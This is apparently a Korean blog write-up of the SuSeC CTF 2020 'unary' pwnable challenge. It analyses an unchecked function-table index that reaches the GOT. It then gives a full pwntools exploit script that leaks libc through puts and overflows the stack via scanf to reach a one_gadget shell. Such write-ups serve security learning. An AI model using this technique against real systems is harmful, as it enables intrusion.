일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- syscall
- BOF
- 다이나믹 프로그래밍
- OOB
- 에라토스테네스의 체
- tcache
- 스택
- 브루트 포스
- 수학
- ROP
- 이진 탐색
- 문자열 처리
- 완전 탐색
- RTL
- 연결리스트
- fsb
- BFS
- 이분 탐색
- 이진트리
- 큐
- 스위핑 알고리즘
- off by one
- House of Orange
- heap
- 분할 정복
- 포맷스트링버그
- 동적 계획법
- 백트래킹
- 투 포인터
- DFS
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
SuSeC CTF 2020 - unary 본문
파일 다운로드
보호기법을 보면 다음과 같다.
바이너리를 분석해보자.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ebx
unsigned int v4; // eax
unsigned int v6; // [rsp+Ch] [rbp-2Ch]
while ( 1 )
{
show_menu();
v3 = read_int("Operator: ");
if ( !v3 )
break;
v4 = read_int("x = ");
((void (__fastcall *)(_QWORD, unsigned int *))ope[v3 - 1])(v4, &v6);
__printf_chk(1LL, "f(x) = %d\n", v6);
}
return 0;
}
바이너리는 무한루프를 돌면서
v3에 0~4 사이의 숫자를 입력,
v4에 x값 입력하고
(ope[v3-1])(v4, &v6)을 줘서 ope[]배열에 있는 함수를 실행시킨다.
.data.rel.ro:0000000000600E00 ; ===========================================================================
.data.rel.ro:0000000000600E00
.data.rel.ro:0000000000600E00 ; Segment type: Pure data
.data.rel.ro:0000000000600E00 ; Segment permissions: Read/Write
.data.rel.ro:0000000000600E00 ; Segment alignment '32byte' can not be represented in assembly
.data.rel.ro:0000000000600E00 _data_rel_ro segment para public 'DATA' use64
.data.rel.ro:0000000000600E00 assume cs:_data_rel_ro
.data.rel.ro:0000000000600E00 ;org 600E00h
.data.rel.ro:0000000000600E00 ope dq offset inc ; DATA XREF: main+1F↑o
.data.rel.ro:0000000000600E00 ; main+4C↑r
.data.rel.ro:0000000000600E00 dq offset dec
.data.rel.ro:0000000000600E00 dq offset not
.data.rel.ro:0000000000600E00 dq offset neg
.data.rel.ro:0000000000600E00 _data_rel_ro ends
.data.rel.ro:0000000000600E00
ope에는 inc, dec, not, neg 함수의 주소가 적혀있고,
ope[v3-1]에 접근하여 inc, dec, not, neg 함수를 실행시킨다.
하지만 v3의 index에 대한 검사가 없기 때문에 OOB( Out Of Bound )가 발생한다.
ope의 주소( 0x600E00 )에서 조금 더 내려가면 got 영역( 0x600FF0 )이 존재한다.
따라서 v3의 값을 got영역의 함수위치에 맞게 주고, v4에 들어갈 인자를 int 형식으로 넣어주면 함수가 실행된다.
따라서 v3에 puts_got index를 주고 v4에 puts_got의 값을 int형으로 보내면 leak을 할 수 있게된다.
그리고 leak을 하고나서 arbitrary write를 해야하기 때문에
존재하는 함수 중 __isoc99_scanf를 가져오고
.rodata영역에서 %s를 낼름 빼와서 __isco99_scanf("%s", &v6)과 같이 입력을 할 수 있게 만들었다.
.rodata:00000000004008F4 ; char s[]
.rodata:00000000004008F4 s db '0. EXIT',0 ; DATA XREF: show_menu+4↑o
.rodata:00000000004008FC ; char a1X[]
.rodata:00000000004008FC a1X db '1. x++',0 ; DATA XREF: show_menu+10↑o
.rodata:0000000000400903 ; char a2X[]
.rodata:0000000000400903 a2X db '2. x--',0 ; DATA XREF: show_menu+1C↑o
.rodata:000000000040090A ; char a3X[]
.rodata:000000000040090A a3X db '3. ~x',0 ; DATA XREF: show_menu+28↑o
.rodata:0000000000400910 ; char a4X[]
.rodata:0000000000400910 a4X db '4. -x',0 ; DATA XREF: show_menu+34↑o
.rodata:0000000000400916 aS db '%s',0 ; DATA XREF: read_int+7↑o
.rodata:0000000000400919 aD db '%d',0 ; DATA XREF: read_int+22↑o
.rodata:000000000040091C aOperator db 'Operator: ',0 ; DATA XREF: main+C↑o
.rodata:0000000000400927 asc_400927 db 'x = ',0 ; DATA XREF: main+13↑o
.rodata:000000000040092C aFXD db 'f(x) = %d',0Ah,0 ; DATA XREF: main+54↑o
.rodata:000000000040092C _rodata ends
.rodata:000000000040092C
exploit 흐름
1. v3에 puts_got index, v4에 puts_got를 입력해서 leak을 한다.
2. v3에 __isoc99_scanf index, v4에 %s 주소를 넣어서 BOF를 발생시킨다.
3. exploit!
exploit code
from pwn import *
server = 1
if server:
p = remote("66.172.27.144", 9004)
else:
p = process("./unary")
def trigger(oper, x):
p.sendlineafter("Operator: ", str(oper))
p.sendlineafter("x = ", str(x))
puts_got = 0x0000000000601018
Ps = 0x0000000000400916
one = [0x4f2c5, 0x4f322, 0x10a38c]
trigger(68,puts_got)
libc_puts = u64(p.recv(6).ljust(8,'\x00'))
print "libc_puts : " + hex(libc_puts)
libc_base = libc_puts - 0x809c0
one_gadget = libc_base + one[1]
trigger(68+3,Ps)
pay = ''
pay += 'a'*4
pay += 'b'*8 # rbx
pay += 'c'*8 # sfp
pay += 'd'*8 # r12
pay += 'e'*8 # r13
pay += 'f'*8 # r14
pay += p64(one_gadget)
p.sendline(pay)
sleep(0.1)
p.sendlineafter("Operator: ", str(0))
p.interactive()
FLAG : SUSEC{0p3r4710n_w17h_0n1y_1_0p3r4nd}
'write-up > pwnable' 카테고리의 다른 글
Defenit 2020 - errorprogram (0) | 2020.06.09 |
---|---|
pwn2win 2020 - tukro (0) | 2020.06.03 |
zer0pts ctf 2020 - protrude (0) | 2020.03.11 |
zer0pts ctf 2020 - diylist (0) | 2020.03.10 |
zer0pts ctf 2020 - hipwn (0) | 2020.03.10 |